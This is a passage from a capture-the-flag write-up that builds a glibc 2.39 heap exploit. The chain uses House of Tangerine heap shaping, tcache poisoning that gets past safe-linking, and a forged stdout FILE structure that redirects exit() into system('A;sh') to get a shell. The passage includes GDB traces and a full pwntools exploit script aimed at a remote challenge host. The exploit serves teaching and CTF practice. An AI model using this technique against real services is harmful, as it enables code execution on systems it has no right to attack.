edit(1, 0x64, b'I' * 0x20 + p64(0) + p64(0xc1) + p64(tcache_pool ^ seed))
edit(4, 0x64, b'J' * 0x50 + p64(0) + p64(0xc1) + p64(tcache_pool ^ seed))
create(6, 0xb4, b'K' * 0x10)
create(7, 0xb4, b'L' * 0x10)
edit(7, 0x320, b'M' * 0x29f)
view(7)
libc.address = u64(io.recvline()[:-1].ljust(8, b'\x00')) - libc.sym._IO_2_1_stderr_
The ^ seed term applies safe-linking on the poisoned fd so glibc 2.39's check passes when the chunk is later popped from tcache.
FSOP on _IO_2_1_stdout_
With libc base in hand, the standard "_IO_wfile_jumps + _wide_data->_wide_vtable[0x68/8] = system" angle works, but here it's expressed as a tighter trick using the stdout FILE struct itself.pwntools' FileStructure builds the right shape:
fake_file = FileStructure()
fake_file.flags = u64(b"A;sh".ljust(8, b"\x00")) # _flags reads as "A;sh" -> system("A;sh")
fake_file._lock = libc.sym._IO_2_1_stdout_ + 0x500 # any writable address
fake_file._IO_write_ptr = libc.sym._IO_2_1_stdout_ - 0x38
fake_file._IO_write_end = libc.sym.system
fake_file._wide_data = libc.sym._IO_2_1_stdout_ - 0xb8
fake_file.vtable = libc.sym._IO_wfile_jumps - 0x20
The math on _IO_write_ptr / _wide_data aligns the function-pointer dereference inside _IO_wfile_jumps so that _IO_OVERFLOW(_IO_2_1_stdout_, EOF) ends up calling system(stdout).
Because stdout->_flags reads as "A;sh", the first byte controls argv[0] (A), and the ; makes the rest a shell-separated command.system("A;sh") runs sh regardless of the leading garbage.
The final two lines plant the corruption: a re-edit of slot 7 lays down a large fake header, then a fresh create(8, 1, ...) lets us position our forged FILE precisely on top of the real _IO_2_1_stdout_:
edit(7, 0x320,
p64(0) + p64(0x261)
+ b'\x01' * 0x40 + b'\x00' * 0x30
+ p64(libc.sym._IO_2_1_stdout_ - 0xa0) * 5
+ b'\x00' * 0x200)
create(8, 1, b'N' * 0x10)
edit (8, 0x1f4, b'\x00' * 0xa0 + bytes(fake_file))
When bye → exit → _IO_flush_all_lockp walks the FILE list and reaches stdout, the forged vtable + write_ptr/end values divert into system("A;sh").
Watching It Happen in GDB
A few useful breakpoints.
The binary is stripped, so go by libc symbols:
pwndbg> b _IO_flush_all_lockp
pwndbg> b _IO_wfile_overflow
pwndbg> b system
After the heap leak primitive (right after view(1)):
pwndbg> bins
tcachebins
0xe0 [ 1]: 0x... <heap_addr> ; the manufactured tcache entry
unsortedbin
all: 0x... -> ... ; large residual carved by malloc
pwndbg> x/4gx <view_target>
0x...: 0x4848484848484848 0x... <heap_ptr> ; H's then leaked safe-linked fd
After both stages of poisoning + the libc leak:
pwndbg> p/x libc.address
$1 = 0x7ffff7c00000
pwndbg> p &_IO_2_1_stdout_
$2 = (struct _IO_FILE_plus *) 0x7ffff7e1a780
After the final edit(8, ...) payload lands, inspect what we did to the real stdout:
pwndbg> p *(struct _IO_FILE_plus*)0x7ffff7e1a780
$3 = {
file = {
_flags = 0x6873413b, <-- "A;sh" reversed in memory
_IO_write_base = 0x...,
_IO_write_ptr = 0x7ffff7e1a7a8, <-- > write_base, passes the flush check
...
_wide_data = 0x7ffff7e1a6a0,
_mode = 0xffffffff,
},
vtable = 0x7ffff7e1de80 <_IO_wfile_jumps - 0x20>
}
Now drive it with bye():
pwndbg> c
... bye() -> exit(0)
Breakpoint, _IO_flush_all_lockp ()
pwndbg> bt 4
#0 _IO_flush_all_lockp
#1 _IO_cleanup
#2 __run_exit_handlers
#3 exit
pwndbg> c
Breakpoint, _IO_wfile_overflow (fp=0x7ffff7e1a780, ...)
pwndbg> c
Breakpoint, __libc_system (line="A;sh")
pwndbg> x/s $rdi
0x7ffff7e1a780: "A;sh"
system("A;sh") runs A (no such command, ignored) and then sh, dropping us into the shell with the same fds as the binary.
Exploit Code
from pwn import *
elf = context.binary = ELF('./main')
libc = elf.libc
io = remote('challenges.securinets.com', 30625) if args.REMOTE else process()
def create(idx, size, content):
io.recvuntil(b'>')
io.sendline(b'1')
io.recvuntil(b'(0-19):')
io.sendline(str(idx).encode())
io.recvuntil(b'(<0x1000):')
io.sendline(str(size).encode())
io.recvuntil(b'content:')
io.sendline(content)
def edit(idx, size, content):
io.recvuntil(b'> ')
io.sendline(b'2')
io.recvuntil(b'(0-19):')
io.sendline(str(idx).encode())
io.recvuntil(b'(<0x1000):')
io.sendline(str(size).encode())
io.recvuntil(b'content:')
io.sendline(content)
def view(idx):
io.recvuntil(b'> ')
io.sendline(b'3')
io.recvuntil(b'Draft slot (0-19): ')
io.sendline(str(idx).encode())
# === House of Tangerine: shape the heap so a residual lands in unsorted ===
create(0, 0xc1c, b'A' * 0x10) # large alloc, top trim
create(1, 0x24, b'B' * 0x10) # small victim
edit (1, 0x64, b'C' * 0x20 + p64(0) + p64(0xe1)) # forge size 0xe1 past slot 1
create(3, 0xeb0, b'D' * 0x10) # second large alloc
create(4, 0x50, b'E' * 0x10) # second victim
edit (4, 0x64, b'F' * 0x50 + p64(0) + p64(0xe1))
create(5, 0xfa, b'G' * 0x10) # locks in the layout
# === heap leak: read the safe-linked fd of the unsorted residual that overlaps slot 1 ===
edit(1, 0x64, b'H' * 0x2f)
view(1)
io.recvuntil(b'H' * 0x10 + b'\n')
mangle_key = u64(io.recvline()[:-1].ljust(8, b'\x00')) # heap_addr >> 12
tcache_pool = mangle_key << 12 # tcache management struct
seed = mangle_key + 0x21 # safe-link seed
log.success(f'mangle_key = 0x{mangle_key:x}')
log.success(f'tcache_pool = 0x{tcache_pool:x}')
# === poison tcache fd, then leak libc ===
edit(1, 0x64, b'I' * 0x20 + p64(0) + p64(0xc1) + p64(tcache_pool ^ seed))
edit(4, 0x64, b'J' * 0x50 + p64(0) + p64(0xc1) + p64(tcache_pool ^ seed))
io.sendline()
create(6, 0xb4, b'K' * 0x10)
create(7, 0xb4, b'L' * 0x10)
edit(7, 0x320, b'M' * 0x29f)
view(7)
io.recvuntil(b'M' * 0x10 + b'\n')
libc.address = u64(io.recvline()[:-1].ljust(8, b'\x00')) - libc.sym._IO_2_1_stderr_
log.success(f'libc 0x{libc.address:x}')
# === FSOP on stdout: detour exit() flush into system("A;sh") ===
fake_file = FileStructure()
fake_file.flags = u64(b"A;sh".ljust(8, b"\x00"))
fake_file._lock = libc.sym._IO_2_1_stdout_ + 0x500
fake_file._IO_write_ptr = libc.sym._IO_2_1_stdout_ - 0x38
fake_file._IO_write_end = libc.sym.system
fake_file._wide_data = libc.sym._IO_2_1_stdout_ - 0xb8
fake_file.vtable = libc.sym._IO_wfile_jumps - 0x20
fsop_payload = bytes(fake_file)
edit(7, 0x320,
p64(0) + p64(0x261)
+ b'\x01' * 0x40 + b'\x00' * 0x30
+ p64(libc.sym._IO_2_1_stdout_ - 0xa0) * 5
+ b'\x00' * 0x200)
io.sendline()
create(8, 1, b'N' * 0x10)
edit (8, 0x1f4, b'\x00' * 0xa0 + fsop_payload)
# Type "4" in interactive: vuln returns -> exit() -> FSOP -> system("A;sh") -> shell
io.interactive()